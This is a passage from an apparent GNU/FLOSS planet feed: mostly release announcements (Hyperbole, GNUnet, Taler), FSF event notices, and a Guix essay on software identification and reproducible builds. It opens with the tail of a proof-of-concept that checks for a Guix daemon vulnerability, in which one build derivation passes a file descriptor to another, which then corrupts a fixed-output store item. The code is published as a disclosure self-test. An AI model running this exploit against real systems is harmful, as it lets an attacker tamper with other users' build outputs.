corrupted!\\n\"; write(res, content, strlen (content)); close(res); printf(\"swaptrick finished, now to wait..\\n\"); return 0; } hdr = CMSG_NXTHDR(&msg, hdr); } close(a); } }")) (define nonce (string-append "-" (number->string (car (gettimeofday)) 16) "-" (number->string (getpid)))) (define original-text "This is the original text, before corruption.") (define derivation-that-exfiltrates-fd (computed-file (string-append "derivation-that-exfiltrates-fd" nonce) (with-imported-modules '((guix build utils)) #~(begin (use-modules (guix build utils)) (invoke #+(compiled-c-code "sender" sender-source)) (call-with-output-file #$output (lambda (port) (display #$original-text port))))) #:options `(#:hash-algo sha256 #:hash ,(sha256 (string->utf8 original-text))))) (define derivation-that-grabs-fd (computed-file (string-append "derivation-that-grabs-fd" nonce) #~(begin (open-output-file #$output) ;make sure there's an output (execl #+(compiled-c-code "receiver" receiver-source) "receiver")) #:options `(#:hash-algo sha256 #:hash ,(sha256 #vu8())))) (define check (computed-file "checking-for-vulnerability" #~(begin (use-modules (ice-9 textual-ports)) (mkdir #$output) ;make sure there's an output (format #t "This depends on ~a, which will grab the file descriptor and corrupt ~a.~%~%" #+derivation-that-grabs-fd #+derivation-that-exfiltrates-fd) (let ((content (call-with-input-file #+derivation-that-exfiltrates-fd get-string-all))) (format #t "Here is what we see in ~a: ~s~%~%" #+derivation-that-exfiltrates-fd content) (if (string=? content #$original-text) (format #t "Failed to corrupt ~a, \ your system is safe.~%" #+derivation-that-exfiltrates-fd) (begin (format #t "We managed to corrupt ~a, \ meaning that YOUR SYSTEM IS VULNERABLE!~%" #+derivation-that-exfiltrates-fd) (exit 1))))))) checkAbout GNU Guix

GNU Guix is a transactional package manager and an advanced distribution of the GNU system that respects user freedom. Guix can be used on top of any system running the Hurd or the Linux kernel, or it can be used as a standalone operating system distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.

In addition to standard package management features, Guix supports transactional upgrades and roll-backs, unprivileged package management, per-user profiles, and garbage collection. When used as a standalone GNU/Linux distribution, Guix offers a declarative, stateless approach to operating system configuration management. Guix is highly customizable and hackable through Guile programming interfaces and extensions to the Scheme language.

Categories: FLOSS Project Planets

FSF Events: Free Software Directory meeting on IRC: Friday, March 15, starting at 12:00 EDT (16:00 UTC)

Mon, 2024-03-11 15:55
Join the FSF and friends on Friday, March 15, from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory.
Categories: FLOSS Project Planets

hyperbole @ Savannah: GNU Hyperbole Major Release 9 (V9.0.1) Rhapsody

Sun, 2024-03-10 18:22
Overview


GNU Hyperbole 9.0.1, the Rhapsody release, is now available on GNU ELPA. 
And oh what a release it is: extensive new features, new video
demos, org and org roam integration, Markdown and Org file support in
HyRolo, recursive directory and wildcard file scanning in HyRolo, and
much more.

What's new in this release is extensively described here:

  www.gnu.org/s/hyperbole/HY-NEWS.html

  Everything back until release 8.0.0 is new since the last major release
  announcement (almost a year and a half ago), so updates are extensive.

Hyperbole is like Markdown for hypertext.  Hyperbole automatically
recognizes dozens of common patterns in any buffer regardless of mode
and transparently turns them into hyperbuttons you can instantly
activate with a single key.  Email addresses, URLs, grep -n outputs,
programming backtraces, sequences of Emacs keys, programming
identifiers, Texinfo and Info cross-references, Org links, Markdown
links and on and on.  All you do is load Hyperbole and then your text
comes to life with no extra effort or complex formatting.

But Hyperbole is also a personal information manager with built-in
capabilities of contact management/hierarchical record lookup,
legal-numbered outlines with hyperlinkable views and a unique window
and frame manager.  It is even Org-compatible so you can use all of
Org's capabilities together with Hyperbole.

Hyperbole stays out of your way but is always a key press away when
you need it.  Like Emacs, Org, Counsel and Helm, Hyperbole has many
different uses, all based around the theme of reducing cognitive load
and improving your everyday information management.  It reduces
cognitive load by using a single Action Key, {M-RET}, across many
different contexts to perform the best default action in each.

Hyperbole has always been one of the best documented Emacs packages.
With Version 9 comes excellent test coverage: over 400 automated tests
are run with every update against every major version of Emacs since
version 27, to ensure quality.  We hope you'll give it a try.

Videos


If you prefer video introductions, visit the videos linked to below;
otherwise, skip to the next section.

GNU Hyperbole Videos with Web Links


Installing and Using Hyperbole


To install within GNU Emacs, use:

   {M-x package-install RET hyperbole RET}

   Hyperbole installs in less than a minute and can be uninstalled even
   faster if ever need be.  Give it a try.

Then to invoke its minibuffer menu, use:

   {C-h h} or {M-x hyperbole RET}

The best way to get a feel for many of its capabilities is to invoke the
all new, interactive FAST-DEMO and explore sections of interest:

   {C-h h d d}

To permanently activate Hyperbole in your Emacs initialization file, add
the line:

   (hyperbole-mode 1)

Hyperbole is a minor mode that may be disabled at any time with:

   {C-u 0 hyperbole-mode RET}

The Hyperbole home page with screenshots is here:

   www.gnu.org/s/hyperbole

For use cases, see:

   www.gnu.org/s/hyperbole/HY-WHY.html

For what users think about Hyperbole, see:

   www.gnu.org/s/hyperbole/hyperbole.html#user-quotes

Enjoy,

The Hyperbole Team

Categories: FLOSS Project Planets

www @ Savannah: Malware in Proprietary Software - Latest Additions

Thu, 2024-03-07 21:05

The initial injustice of proprietary software often leads to further injustices: malicious functionalities.

The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.

We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.

Here are our latest additions February 2024

Proprietary Surveillance

  • Surveillance cameras put in by government A to surveil for it may be surveilling for government B as well. That's because A put in a product made by B with nonfree software.

(Please note that this article misuses the word "hack" to mean "break security.")

January 2024

Malware in Cars

A good privacy law would prohibit cars recording this data about the users' activities. But not just this data—lots of other data too.

DRM in Trains

  • Newag, a Polish railway manufacturer, puts DRM inside trains to prevent third-party repairs.
    • The train's software contains code to detect if the GPS coordinates are near some third party repairers, or the train has not been running for some time. If yes, the train will be "locked up" (i.e. bricked). It was also possible to unlock it by pressing a secret combination of buttons in the cockpit, but this ability was removed by a manufacturer's software update.
    • The train will also lock up after a certain date, which is hardcoded in the software.
    • The company pushes a software update that detects if the DRM code has been bypassed, i.e. the lock should have been engaged but the train is still operational. If yes, the controller cabin screen will display a scary message warning about "copyright violation."


Proprietary Insecurity in LogoFAIL


4K UHD Blu-ray Disks, Super Duper Malware

  • The UHD (Ultra High Definition, also known as 4K) Blu-ray standard involves several types of restrictions, both at the hardware and the software levels, which make “legitimate” playback of UHD Blu-ray media impossible on a PC with free/libre software.
    • DRM - UHD Blu-ray disks are encrypted with AACS, one of the worst kinds of DRM. Playing them on a PC requires software and hardware that meet stringent proprietary specifications, which developers can only obtain after signing an agreement that explicitly forbids them from disclosing any source code.
    • Sabotage - UHD Blu-ray disks are loaded with malware of the worst kinds. Not only does playback of these disks on a PC require proprietary software and hardware that enforce AACS, a very nasty DRM, but developers of software players are forbidden from disclosing any source code. The user could also lose the ability to play AACS-restricted disks anytime by attempting to play a new Blu-ray disk.
    • Tethering - UHD Blu-ray disks are encrypted with keys that must be retrieved from a remote server. This makes repeated updates and internet connections a requirement if the user purchases several UHD Blu-ray disks over time.
    • Insecurity - Playing UHD Blu-ray disks on a PC requires Intel SGX (Software Guard Extensions), which not only has numerous security vulnerabilities, but also was deprecated and removed from mainstream Intel CPUs in 2022.
    • Back Doors - Playing UHD Blu-ray disks on a PC requires the Intel Management Engine, which has back doors and cannot be disabled. Every Blu-ray drive also has a back door in its firmware, which allows the AACS-enforcing organization to "revoke" the ability to play any AACS-restricted disk.


Proprietary Interference

This is a reminder that angry users still have the power to make developers of proprietary software remove small annoyances. Don't count on public outcry to make them remove more profitable malware, though. Run away from proprietary software!

Categories: FLOSS Project Planets

GNUnet News: Messenger-GTK 0.9.0

Thu, 2024-03-07 18:00
Messenger-GTK 0.9.0

Following the new release of "libgnunetchat" there have been some changes regarding the applications utilizing it. So we are pleased to announce the new release of the Messenger-GTK application. This release will be compatible with libgnunetchat 0.3.0 and GNUnet 0.21.0 upwards.

Download links

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Noteworthy changes in 0.9.0
  • Contacts can be blocked and unblocked to filter chat messages.
  • Requests for permission to use a camera, autostart the application and running it in background.
  • Camera sensors can be selected to exchange contact information.

A detailed list of changes can be found in the ChangeLog .

Known Issues
  • Chats still require a reliable connection between GNUnet peers. So this still depends on the upcoming NAT traversal to be used outside of local networks for most users (see #5710 ).
  • File sharing via the FS service should work in a GNUnet single-user setup but a multi-user setup breaks it (see #7355 )

In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org .

messenger-cli 0.2.0

There's also a new release of the terminal application using the GNUnet Messenger service. This release will ensure compatibility with changes in libgnunetchat 0.3.0 and GNUnet 0.21.0.

Download links

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Categories: FLOSS Project Planets

GNU Taler news: GNU Taler v0.9.4 released

Thu, 2024-03-07 18:00
We are happy to announce the release of GNU Taler v0.9.4.
Categories: FLOSS Project Planets

FSF Blogs: Welcome attendees, get to know speakers first hand, and make LibrePlanet a unique experience

Thu, 2024-03-07 15:28
We need your help to make the world's premier gathering of free software enthusiasts a success. Would you like to volunteer at LibrePlanet 2024 and play an important part in making the conference a unique experience?
Categories: FLOSS Project Planets

GNUnet News: libgnunetchat 0.3.0

Wed, 2024-03-06 18:00
libgnunetchat 0.3.0 released

We are pleased to announce the release of libgnunetchat 0.3.0.
This is a major new release bringing compatibility with the major changes in the Messenger service from latest GNUnet release 0.21.0 adding new message kinds, adjusting message processing and key management. This release will also require your GNUnet to be at least 0.21.0 because of that.

Download links

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Noteworthy changes in 0.3.0
  • This release requires the GNUnet Messenger Service 0.3!
  • It allows ticket management for tickets sent from contacts.
  • Deletions or other updates of messages result in separate event calls.
  • It is possible to tag messages or contacts.
  • Invitations can be rejected via tag messages.
  • Contacts can be blocked or unblocked which results in filtering messages.
  • Processing of messages is ensured by enforcing logical order of callbacks while querying old messages.
  • Private messages are readable to its sender.
  • Messages provide information about its recipient.
  • Logouts get processed on application level on exit.
  • Delays message callbacks depending on message kind (deletion with custom delay).
  • New debug tools are available to visualize the message graph.
  • Add test case for message receivement.
  • Multiple issues are fixed.

A detailed list of changes can be found in the ChangeLog .

Categories: FLOSS Project Planets

GNUnet News: GNUnet 0.21.0

Tue, 2024-03-05 18:00
GNUnet 0.21.0 released

We are pleased to announce the release of GNUnet 0.21.0.
GNUnet is an alternative network stack for building secure, decentralized and privacy-preserving distributed applications. Our goal is to replace the old insecure Internet protocol stack. Starting from an application for secure publication of files, it has grown to include all kinds of basic protocol components and applications towards the creation of a GNU internet.

This release marks a noteworthy milestone in that it includes a completely new transport layer . It lays the groundwork for fixing some major design issues and may also already alleviate a variety of issues seen in previous releases related to connectivity. This change also deprecates our testbed and ATS subsystem.

This is a new major release. It breaks protocol compatibility with the 0.20.x versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.20.x GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.21.0 release is still only suitable for early adopters with some reasonable pain tolerance .

Download links

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Changes

A detailed list of changes can be found in the git log , the NEWS and the bug tracker .

Known Issues
  • There are known major design issues in the CORE subsystems which will need to be addressed in the future to achieve acceptable usability, performance and security.
  • There are known moderate implementation limitations in CADET that negatively impact performance.
  • There are known moderate design issues in FS that also impact usability and performance.
  • There are minor implementation limitations in SET that create unnecessary attack surface for availability.
  • The RPS subsystem remains experimental.

In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.

Thanks

This release was the work of many people. The following people contributed code and were thus easily identified: Christian Grothoff, t3sserakt, TheJackiMonster, Pedram Fardzadeh, dvn, Sebastian Nadler and Martin Schanzenbach.

Categories: FLOSS Project Planets

FSF Events: Free Software Directory meeting on IRC: Friday, March 08, starting at 12:00 EST (17:00 UTC)

Mon, 2024-03-04 14:35
Description: Join the FSF and friends on Friday, March 08, from 12:00 to 15:00 EST (17:00 to 20:00 UTC) to help improve the Free Software Directory.
Categories: FLOSS Project Planets

GNU Guix: Identifying software

Mon, 2024-03-04 08:58

What does it take to “identify software”? How can we tell what software is running on a machine to determine, for example, what security vulnerabilities might affect it?

In October 2023, the US Cybersecurity and Infrastructure Security Agency (CISA) published a white paper entitled Software Identification Ecosystem Option Analysis that looks at existing options to address these questions. The publication was followed by a request for comments; our comment as Guix developers didn’t make it on time to be published, but we’d like to share it here.

Software identification for cybersecurity purposes is an crucial topic, as the white paper explains in its introduction:

Effective vulnerability management requires software to be trackable in a way that allows correlation with other information such as known vulnerabilities […]. This correlation is only possible when different cybersecurity professionals know they are talking about the same software.

The Common Platform Enumeration (CPE) standard has been designed to fill that role; it is used to identify software as part of the well-known Common Vulnerabilities and Exposures (CVE) process. But CPE is showing its limits as an extrinsic identification mechanism: the human-readable identifiers chosen by CPE fail to capture the complexity of what “software” is.

We think functional software deployment as implemented by Nix and Guix, coupled with the source code identification work carried out by Software Heritage, provides a unique perspective on these matters.

On Software Identification

The Software Identification Ecosystem Option Analysis white paper released by CISA in October 2023 studies options towards the definition of a software identification ecosystem that can be used across the complete, global software space for all key cybersecurity use cases.

Our experience lies in the design and development of GNU Guix, a package manager, software deployment tool, and GNU/Linux distribution, which emphasizes three key elements: reproducibility, provenance tracking, and auditability. We explain in the following sections our approach and how it relates to the goal stated in the aforementioned white paper.

Guix produces binary artifacts of varying complexity from source code: package binaries, application bundles (container images to be consumed by Docker and related tools), system installations, system bundles (container and virtual machine images).

All these artifacts qualify as “software” and so does source code. Some of this “software” comes from well-identified upstream packages, sometimes with modifications added downstream by packagers (patches); binary artifacts themselves are the byproduct of a build process where the package manager uses other binary artifacts it previously built (compilers, libraries, etc.) along with more source code (the package definition) to build them. How can one identify “software” in that sense?

Software is dual: it exists in source form and in binary, machine-executable form. The latter is the outcome of a complex computational process taking source code and intermediary binaries as input.

Our thesis can be summarized as follows:

We consider that the requirements for source code identifiers differ from the requirements to identify binary artifacts.

Our view, embodied in GNU Guix, is that:

  1. Source code can be identified in an unambiguous and distributed fashion through inherent identifiers such as cryptographic hashes.

  2. Binary artifacts, instead, need to be the byproduct of a comprehensive and verifiable build process itself available as source code.

In the next sections, to clarify the context of this statement, we show how Guix identifies source code, how it defines the source-to-binary path and ensures its verifiability, and how it provides provenance tracking.

Source Code Identification

Guix includes package definitions for almost 30,000 packages. Each package definition identifies its origin—its “main” source code as well as patches. The origin is content-addressed: it includes a SHA256 cryptographic hash of the code (an inherent identifier), along with a primary URL to download it.

Since source is content-addressed, the URL can be thought of as a hint. Indeed, we connected Guix to the Software Heritage source code archive: when source code vanishes from its original URL, Guix falls back to downloading it from the archive. This is made possible thanks to the use of inherent (or intrinsic) identifiers both by Guix and Software Heritage.

More information can be found in this 2019 blog post and in the documents of the Software Hash Identifiers (SWHID) working group.

Reproducible Builds

Guix provides a verifiable path from source code to binaries by ensuring reproducible builds. To achieve that, Guix builds upon the pioneering research work of Eelco Dolstra that led to the design of the Nix package manager, with which it shares the same conceptual foundation.

Namely, Guix relies on hermetic builds: builds are performed in isolated environments that contain nothing but explicitly-declared dependencies—where a “dependency” can be the output of another build process or source code, including build scripts and patches.

An implication is that builds can be verified independently. For instance, for a given version of Guix, guix build gcc should produce the exact same binary, bit-for-bit. To facilitate independent verification, guix challenge gcc compares the binary artifacts of the GNU Compiler Collection (GCC) as built and published by different parties. Users can also compare to a local build with guix build gcc --check.

As with Nix, build processes are identified by derivations, which are low-level, content-addressed build instructions; derivations may refer to other derivations and to source code. For instance, /gnu/store/c9fqrmabz5nrm2arqqg4ha8jzmv0kc2f-gcc-11.3.0.drv uniquely identifies the derivation to build a specific variant of version 11.3.0 of the GNU Compiler Collection (GCC). Changing the package definition—patches being applied, build flags, set of dependencies—, or similarly changing one of the packages it depends on, leads to a different derivation (more information can be found in Eelco Dolstra's PhD thesis).

Derivations form a graph that captures the entirety of the build processes leading to a binary artifact. In contrast, mere package name/version pairs such as gcc 11.3.0 fail to capture the breadth and depth elements that lead to a binary artifact. This is a shortcoming of systems such as the Common Platform Enumeration (CPE) standard: it fails to express whether a vulnerability that applies to gcc 11.3.0 applies to it regardless of how it was built, patched, and configured, or whether certain conditions are required.

Full-Source Bootstrap

Reproducible builds alone cannot ensure the source-to-binary correspondence: the compiler could contain a backdoor, as demonstrated by Ken Thompson in Reflections on Trusting Trust. To address that, Guix goes further by implementing so-called full-source bootstrap: for the first time, literally every package in the distribution is built from source code, starting from a very small binary seed. This gives an unprecedented level of transparency, allowing code to be audited at all levels, and improving robustness against the “trusting-trust attack” described by Ken Thompson.

The European Union recognized the importance of this work through an NLnet Privacy & Trust Enhancing Technologies (NGI0 PET) grant allocated in 2021 to Jan Nieuwenhuizen to further work on full-source bootstrap in GNU Guix, GNU Mes, and related projects, followed by another grant in 2022 to expand support to the Arm and RISC-V CPU architectures.

Provenance Tracking

We define provenance tracking as the ability to map a binary artifact back to its complete corresponding source. Provenance tracking is necessary to allow the recipient of a binary artifact to access the corresponding source code and to verify the source/binary correspondence if they wish to do so.

The guix pack command can be used to build, for instance, containers images. Running guix pack -f docker python --save-provenance produces a self-describing Docker image containing the binaries of Python and its run-time dependencies. The image is self-describing because --save-provenance flag leads to the inclusion of a manifest that describes which revision of Guix was used to produce this binary. A third party can retrieve this revision of Guix and from there view the entire build dependency graph of Python, view its source code and any patches that were applied, and recursively for its dependencies.

To summarize, capturing the revision of Guix that was used is all it takes to reproduce a specific binary artifact. This is illustrated by the time-machine command. The example below deploys, at any time on any machine, the specific build artifact of the python package as it was defined in this Guix commit:

guix time-machine -q --commit=d3c3922a8f5d50855165941e19a204d32469006f \ -- install python

In other words, because Guix itself defines how artifacts are built, the revision of the Guix source coupled with the package name unambiguously identify the package’s binary artifact. As scientists, we build on this property to achieve reproducible research workflows, as explained in this 2022 article in Nature Scientific Data; as engineers, we value this property to analyze the systems we are running and determine which known vulnerabilities and bugs apply.

Again, a software bill of materials (SBOM) written as a mere list of package name/version pairs would fail to capture as much information. The Artifact Dependency Graph (ADG) of OmniBOR, while less ambiguous, falls short in two ways: it is too fine-grained for typical cybersecurity applications (at the level of individual source files), and it only captures the alleged source/binary correspondence of individual files but not the process to go from source to binary.

Conclusions

Inherent identifiers lend themselves well to unambiguous source code identification, as demonstrated by Software Heritage, Guix, and Nix.

However, we believe binary artifacts should instead be treated as the result of a computational process; it is that process that needs to be fully captured to support independent verification of the source/binary correspondence. For cybersecurity purposes, recipients of a binary artifact must be able to be map it back to its source code (provenance tracking), with the additional guarantee that they must be able to reproduce the entire build process to verify the source/binary correspondence (reproducible builds and full-source bootstrap). As long as binary artifacts result from a reproducible build process, itself described as source code, identifying binary artifacts boils down to identifying the source code of their build process.

These ideas are developed in the 2022 scientific paper Building a Secure Software Supply Chain with GNU Guix

Categories: FLOSS Project Planets

Pages